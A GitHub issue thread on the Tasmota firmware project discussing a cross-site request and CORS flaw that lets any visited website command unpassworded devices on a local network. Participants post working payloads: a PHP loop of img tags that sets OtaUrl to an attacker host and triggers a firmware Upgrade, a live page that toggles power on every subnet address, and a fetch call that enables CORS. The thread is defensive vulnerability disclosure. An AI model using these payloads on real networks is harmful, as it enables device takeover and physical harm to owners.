arendst / Tasmota

Alternative firmware for ESP8266 and ESP32 based devices with easy configuration using webUI, OTA updates, automation using timers or rules, expandability and entirely local control over MQTT, HTTP, Serial or KNX. Full documentation at
https://tasmota.github.io/docs
GNU General Public License v3.0
21.97k stars 4.77k forks source link

Local access security issue due to HTTP CORS header #6767

Closed pseudosavant closed 3 years ago

pseudosavant commented 4 years ago

PROBLEM DESCRIPTION

A clear and concise description of what the problem is.

Tasmota has CORS HTTP headers enabled by default. This is a major security issue that could easily be exploited by any website with some simple Javascript, especially since Tasmota does not require a web password by default.

REQUESTED INFORMATION

Make sure your have performed every step and checked the applicable boxes before submitting your issue. Thank you!

TO REPRODUCE

Steps to reproduce the behavior:

  1. Make any HTTP request to a Tasmota device (i.e. curl --user username:password --head 192.168.1.100
  2. See that Access-Control-Allow-Origin: * CORS header is included as an HTTP response header
  3. Go to Tasmota Device Locator
  4. See that TDL is able to make arbitrary HTTP requests to every Tasmota device on my network

EXPECTED BEHAVIOUR

A clear and concise description of what you expected to happen.

  1. CORS is disabled by default
  2. Any public Internet website should not be able to query/enumerate Tasmota devices on my local network

SCREENSHOTS

If applicable, add screenshots to help explain your problem.

NA

ADDITIONAL CONTEXT

Add any other context about the problem here.

It would be very easy to create a script could be dropped into any web page that would:

  1. Enumerate every IP in common subnets (192.168.1.x, 192.168.0.x, 10.0.0.x, etc) to discover Tasmota devices
  2. Once Tasmota devices have been identified, if they are password protected the script could attempt to bruteforce the password
  3. Once a password is discovered, or if the device isn't password protected (default), the site has complete control of the Tasmota device. They can reflash the firmware.
  4. By replacing the firmware a malicious actor could:
    1. Setup a proxy server to enable arbitrary access to any local network device (not just Tasmota)
    2. Push malicious payloads (hacked IP webcam firmware, etc) to local network devices
    3. Contact a command-and-control service to wait for further instructions

This attack vector could largely be mitigated by making CORS configurable (disabled by default), and requiring a web password to be set when first configuring the wifi. Those that prefer to control their Tasmota devices using HTTP requests could still use that method by using an HTTP password and/or enabling CORS.

(Please, remember to close the issue when the problem has been addressed)

Jason2866 commented 4 years ago

A PR is welcome ;-)

arendst commented 4 years ago

Once upon a time there was this #5852

arendst commented 4 years ago

Thx for the elaborate information.

As you suggested I will disable sending Access-Control-Allow-Origin by default and allow a user to enable it with a SetOption command.

BTW Nice tool this Tasmota Device Locator

meingraham commented 4 years ago

So, with this update to disable CORS by default, users will not be able to use the "live" version of TDL and will have to deploy TDL on their own local server?

I will make a note in the TDL wiki article if this is so.

arendst commented 4 years ago

Just tested it and as expected it doesn't find it (192.168.2.223) on the local network too.

Access to XMLHttpRequest at 'http://192.168.2.223/cm?cmnd=Module' from origin 'http://domus1' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
xhr.js:178 Cross-Origin Read Blocking (CORB) blocked cross-origin response http://192.168.2.223/cm?cmnd=Module with MIME type application/json. See https://www.chromestatus.com/feature/5629709824032768 for more details.

This will make TDL useless but increases security ;-)

arendst commented 4 years ago

I did some research and trial-and-error to look at the consequences of disabling CORS.

Regarding TDL I think the author has to re-think his solution. There must be other ways to scan for Tasmota devices with CORS disabled.

TasmoAdmin is still able to find the device with CORS disabled.

I will release command SetOption73 0/1 with default CORS disabled (0).

ascillato2 commented 4 years ago

Closing this issue as it has been fixed. Thanks for reporting.

pseudosavant commented 4 years ago

Wow, what a fast turnaround! Thanks! This is such a great project!

bananenfisch commented 3 years ago

It seems, this security issue is still open. The CORS option can be manipulated by any website itself.

For example:

I think, this is still a huge security issue?!

ascillato commented 3 years ago

If you can send any command, CORS is not the main issue. If you delete CORS from Tasmota, but you still has no password in your Tasmota device, you can send any command to it. So, CORS is not the problem. CORS is just another communication channel.

The main issue is leaving your device unprotected without password. If you set a password, CORS can not be enabled.

bananenfisch commented 3 years ago

Setting passwords is a different topic. By default there is no pwd on the devices. Anyway, IMO it's an issue. If CORS is disabled, it should not be possible to enable it again via CORS. The option to disable is useless, if a website can easily get permission by sending a simple request (cmnd=CORS http://blah.com).

PS.: CORS is not just another communication channel. JavaScript is client-side...

ascillato commented 3 years ago

If you don't have a password, it is trivial if you have or not CORS in your build.

You can already send any command to your device.

From your example:

the first AJAX request will be: "http://192.168.1.11/cm?cmnd=CORS http://tasui.shantur.com"

That can already be ANY Tasmota command.

So, if a user want to secure his/her setup, a password must be used AND also the recommendations stated in the docs.

bananenfisch commented 3 years ago

Again: same origin policy is a DIFFERENT security feature than setting a password. If you have a security issue in one component of a software, it should be fixed... not just say: use another feature.

You miss the point of AJAX and CORS. Its not the question, if you "can already [send] ANY Tasmota command". The security issue is, that with this implementation of CORS ANY website can send a request into your LOCAL network. Yes, you can setup a password - but its a HUGE issue to kick out same origin policy to open that door!

So, lets say a "normal" user, without knowing things about same origin or CORS has his private LAN behind his router. Well, most people would say: "ah, thats ok - there is no way to access my tasmota devices from outside of my LAN". Normally this is true because of same origin. But: in this implementation every website can request "cm?cmnd=CORS" through JavaScript, which runs on the client - in your LAN. This way, it has full control over all devices inside your LAN.

Thats why, every API, which should be used inside a LAN never ever enables CORS! To disable CORS but keep it possible to enable CORS via CORS is weird, sorry.

ascillato commented 3 years ago

CORS is disabled by default.

https://github.com/arendst/Tasmota/blob/fbb9df987e1fa2bbe92b793487ff782ba50dfe02/tasmota/my_user_config.h#L174

What else do you propose to do?

bananenfisch commented 3 years ago

CORS is disabled by default. What else do you propose to do?

No - you can still enable it through JavaScript over CORS. Thats the point.

To reproduce: If you send a HTTP request over AJAX like: "local-ip/cm?cmnd=toggle" -> same policy works

But the issue, if you send a request over AJAX like: "local-ip/cm?cmnd=CORS http://mybadwebsite.com" -> ACCEPTED! and CORS enabled after this simple request!

The fix would be: enabling CORS only on the device itself, NOT over the API!

ascillato commented 3 years ago

Ok, so your fix is just deleting the command CORS from Tasmota and allowing only the CORS configuration from the Wi-Fi Configuration Menu (It is actually there too) ?

I agree to that, but if the Tasmota device don't have a password, you can do whatever you want using the API too, like changing the whole firmware over OTAurl. So, the most important thing is to put a password to your device to avoid all that.

I agree to delete that command, but this will add an extra configuration step for TasUI and @shantur won't be happy.

Please, can you provide a PR with this removal? We can further discuss this there.

bananenfisch commented 3 years ago

Easier to fix is the real bug: if CORS is disabled (it is by default), do not send CORS headers when enabling CORS via API. Because this is useless. Its like to set a password and print it on the login page ;-)

I know that thing with the password... this is a complete different topic. Its not the normal behavior to provide an API (with disabled CORS) and give a command to enable it from any website. There are many users out there, who have not setup a password because they trust, that there is no access inside their LAN.

In fact: all tasmota devices without password (ALSO when behind a router with or without firewall) can be full accessed by any website, which is opened in a browser from inside the LAN.

but if the Tasmota device don't have a password, you can do whatever you want using the API too

Yes - and with the CORS command, not only you can do whatever you want using the API... as i said: EVERY website can do whatever THEY want! Thats not the behavior, which the normal user is excepting, if his devices are in his private LAN.

Edit: after searching in the codebase, it seems, that the command (enable CORS) is executed and after that, tasmota execute "HttpHeaderCors(void)": which sends the CORS headers. The fix would be: before changing CORS setting, check if the request came from same origin - if not, dont enable...

ascillato2 commented 3 years ago

Let's reopen for further discussion to find the best way to fix this.

shantur commented 3 years ago

@ascillato2 : as far as I remember, the issue is that even though CORS is disabled Tasmota executes the command.

This is how it happens

  1. A website (other than tasmota configuration page ) is opened lets say tasui.shantur.com
  2. The website tries to talk to a local Tasmota using Javascript and run a command. In this case the CORS command.
  3. Tasmota is unaware of the source of this request and just executes the command and returns the CORS headers.
  4. Now the browser fails the response to the request but damage is done as request was executed on Tasmota.
  5. The CORS command has already enabled CORS from tasui.shantur.com so the next request becomes valid.

Now, how can this be fixed. I have a bad news, its going to upset someone.

The cleanest way is to check the origin header and if the origin header url doesn't match Tasmota IP or mDNS name just reject any command or any other secure requests that could be dangerous.

if (originHeader != mDNSName || originHeader != IP) {
    return;
}

For people who are upset now

  1. For web based apps like tasmota finder and tasui.shantur.com - Ask the users to allow CORS to the website or provide them with something they could run locally which could set the CORS without using browser like a shell script or Electron based app.

  2. For native apps like TDM - As you can control your requests, just add the origin header as the tasmota device IP in your requests and things will still work as expected.

  3. For people who use DNS to name your devices - Your options are a. Either ask Tasmota guys to add a field where you can set the device's DNS name which Tasmota can match with originHeader b. Or Tasmota guys need to be smart and try to see if the origin is a hostname, then use it resolve to its IP. This could be done on first network connection and can be cached.

pseudosavant commented 3 years ago

Maybe this is a dumb question, but can anyone actually reproduce this issue? I am correctly getting denied when CORS is enabled. Unless your browser is unusually configured to not check for the Access-Control-Allow-Origin header, the browser should prevent making any requests. The enforcement of CORS is all on the client, so it only affects browsers. Anything else (e.g. curl) can make any request it wants to any endpoint.

image image

I used this command in the browser dev tools console while on http://tasui.shantur.com/.

(async () => {
    console.log(await fetch('http://192.168.1.107/cm?cmnd=CORS http://tasui.shantur.com'));
})();
bananenfisch commented 3 years ago

Maybe this is a dumb question, but can anyone actually reproduce this issue?

You should reproduce it by sending the request twice - or just using http://tasui.shantur.com/#/findDevices (take a look to the network console).

[EDIT]: hm, the 2nd image is strange. I've tested the issue on firefox. Maybe Chrome is sending a preflight request also on simple requests? Does http://tasui.shantur.com/#/findDevices work on your browser?

But you are right: the same-origin-policy is a security feature of the browser itself (not on the server), but an important one (a website shouldn't be allowed to fetch HTTP requests into your LAN).

IMO, the problem is the architecture of the API. There are 2 types of requests:

While preflight requests are useful, because the browser would send an OPTION request to the server to check if CORS is allowed before doing the real request, simple requests are fired once and only the result will be blocked by the browser!

All requests of this API are simple requests, since it uses always the GET method and send the data via URL parameter. Normally for changing a resource, its recommended to use POST or PUT and transfer the data in the body as JSON.

Why?... Because a GET to a resource should just read out data. So there is no need to check before via preflight request, because a simple request should never change something (it's enough to block the result). So this is the first problem: the request is done, it changes the CORS setting even if the browser blocks the result. You also can try to do some other commands, like power toggle...

I think, if it is too much work to change the Web-API to use POST/PUT requests with request body in an JSON for changing data and settings (which will end in preflight requests and CORS working out of the box), you should force to set a own password on first installation, IMO!

Too many users out there, who trust on their private network... while any website can use the tasmota API to walk into it... doing bad things as you described in the bug description...

pseudosavant commented 3 years ago

I tried submitting multiple requests and using TasUI, but I have passwords on all my devices. It did reproduce when I removed my password however.

The first request is shown as a CORS error in the dev tools, but the second one does work. Is Tasmota treating the preflight OPTIONS request as a GET? That way the CORS setting gets set and future requests work as you'd expect with proper a CORS header.

This is definitely a security bug. Even if no password is set, you shouldn't be able to make any requests to a device on a different origin than the page you are on.

I think the correct fix would be:

  1. Make OPTIONS requests not do anything other than reply for CORS requests. An OPTIONS request should never change anything.
  2. Make OPTIONS requests fail if the Origin header does not equal the Tasmota CORS domain
  3. Make OPTIONS requests require the Origin header

Edit: added suggested fixes.

bananenfisch commented 3 years ago

The OPTIONS request is not the main bug (but maybe the 2nd step to solve this issue). I do not see any OPTIONS request, when i try to access the API via JavaScript. The browsers differs between "Simple requests" and "Preflighted requests". A request via JavaScript with method GET and data transfer with mime type text/plain or application/x-www-form-urlencoded is done as simple requests without a preflight OPTIONS request.

So this way, a solution could be to check the same origin on the server side - but this is not the job for the server, little dirty fix.

The cleanest solution would be to change the API:

The clean solution will also close the door for other cross site attacks. For example, its always possible to send a simple GET request with other techniques.

Lets try this - a website could do something like this:

<?php for ($i = 0; $i < 256; $i++) { echo '<img src="192.168.1.' $i . '/cm?cmnd/tasmota/OtaUrl http://attackerhost.com/its_mine.bin">'; echo '<img src="192.168.1.' $i . '/cm?cmnd/tasmota/Upgrade 1">'; }

If we agree, that same-origin is an important security mechanism, then the API must use POST/PUT requests for changing state/settings requests, because with simple GET requests CORS will not work, nor its safe against other kinds of cross-site attacks.

If there is no agreement for implementations against this cross-site things, then IMO it's needed to force all users to set a (good) password (because as you said: bruteforce over JavaScript requests is still possible)!

bananenfisch commented 3 years ago

I've implemented a little test: https://www.bananenfisch.net/fun.php Note: there is a warning. If you click the link on this page, this code will be executed:

<body>
If you did not set a password on your tasmota devices and they are in the 192.168.1 subnet, then all power states are toggled now... please check your lights / water systems / garage door openers / roller shutter / etc.
<?php
for ($i = 2; $i < 255; $i++) {
  echo '<img src="http://192.168.1.' . $i . '/cm?cmnd=Power%20TOGGLE">';
}
?>
</body>
shantur commented 3 years ago

@bananenfisch : According to https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests a POST request is also a simple request, unless I am not reading it correctly

shantur commented 3 years ago

Having read https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests , a simple way to make all request preflighted is to add a non-standard header. It could be any static header that Tasmota needs to check before accepting the request

bananenfisch commented 3 years ago

@bananenfisch : According to https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests a POST request is also a simple request, unless I am not reading it correctly

The only allowed values for the Content-Type header are: application/x-www-form-urlencoded multipart/form-data text/plain

Normally you put the POST data into an JSON - that way it will become a "preflight request" and the browser will do all security work for you.

Having read https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests , a simple way to make all request preflighted is to add a non-standard header.

How? Its all about request headers ... an attacker can implement his JavaScript requests as he like. The only way to prevent against cross site attacks is:

That's the minimum standard for RESTful APIs. If you try to create an ugly work-around to get the CORS working, you still have this problem: <img src="192.168.1.' $i . '/cm?cmnd/tasmota/OtaUrl http://attackerhost.com/its_mine.bin">

This is really a big security issue... If you have a garage door opener with tasmota with no password (default), any person can send you a message: "hey, visit my new website: xxx"... voila! Welcome home!

please force all users to setup a good password until this issue isn't closed

pseudosavant commented 3 years ago

I had never read about the preflight vs simple request aspect of CORS. I thought it always preflighted. Learning something new every day. I realized that I'm already using abusing this issue (via <img>) to make API requests to my IR blaster from an external domain: http://tasmota-ir-remote.glitch.me/.

I agree that it would be preferred to take a RESTish approach and use the 'correct' HTTP methods based on if you are reading or writing. It would be a huge breaking change though. And doing that will only fix part of the problem as it is still a significant security issue if attackers could extract data from any Tasmota device on a user's network.

The Fetch spec has the exact steps (see below) required to do a CORS check for requests and responses. It would seem Tasmota should conform to those same steps for its responses?

To perform a CORS check for a request and response, run these steps:

  1. Let origin be the result of getting Access-Control-Allow-Origin from response’s header list.
  2. If origin is null, then return failure.
  3. If request’s credentials mode is not "include" and origin is *, then return success.
  4. If the result of byte-serializing a request origin with request is not origin, then return failure.
  5. If request’s credentials mode is not "include", then return success.
  6. Let credentials be the result of getting Access-Control-Allow-Credentials from response’s header list.
  7. If credentials is true, then return success.
  8. Return failure.

https://fetch.spec.whatwg.org/#concept-cors-check

bananenfisch commented 3 years ago

Having read https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests , a simple way to make all request preflighted is to add a non-standard header. It could be any static header that Tasmota needs to check before accepting the request

Hmmm... i was thinking about it a little more. Maybe this could really work (sure, its an ugly work-around, but maybe an option to close the issue quickly).

We should test this scenario:

Theoretically it would result in this (need to test this):

Lets do some tests...

shantur commented 3 years ago

Indeed.

I have worked with Tasmota code and that's the easiest and least disruptive work-around. The only thing needs to be figured out what happens with the pages served by Tasmota itself. Would it be possible to add the header there?

ascillato2 commented 3 years ago

Hi, any news on this?

Would be Ok if until a fix is submitted, we disable CORS commands and preflights responses?

Interesting articles about this problem: https://livebook.manning.com/book/cors-in-action/chapter-4/ https://medium.com/@ehayushpathak/security-risks-of-cors-e3f4a25c04d7

arendst commented 3 years ago

OK with me. Let's see what the response is.

bananenfisch commented 3 years ago

I strongly recommend to force all users to setup a password and not just disable CORS. The easiest fix would be to set a custom header, which should be checked before the API perform the action.

CORS is just one part of the problem. Every visited website can take control over ALL tasmota devices with no password set, as simple: <img src="192.168.1.' $i . '/cm?cmnd/tasmota/OtaUrl http://attackerhost.com/its_mine.bin"> CORS is an AJAX thing... but since the API works with simple GET requests (without custom headers), there is no need to do it via AJAX... A custom header solves this issue, because:

  1. a custom header will force a preflight request for checking CORS settings...
  2. it's possible to perform a HTTP request from html-src attributes, but it's not possible to set a custom header with these techniques...

Our tasmota devices are used for doors openers also, not just for lights - so, it's a huge security issue. IMO the only possible way is: force to set a initial password until this isn't fixed... or just set a default password, which cannot be disabled (admin/admin is enough to kill cross site attacks).

btsimonh commented 1 year ago

An interesting and informative read.

One observation is that the access to the webcam video via <img> tag works, even though it is actually cross-origin (because /stream is on port 81). But a fetch against :81/stream fails with CORS error, even if the requesting HTML is served from the specific tasmota from which you want to read the stream.

rew1ndustry commented 3 months ago

i really do not get this - what is the point of having a web API at all, if you will not allow CORS?

could someone please point me to a rational explanation?

s-hadinger commented 3 months ago

Please open a new discussion with your detailed question. This issue is closed.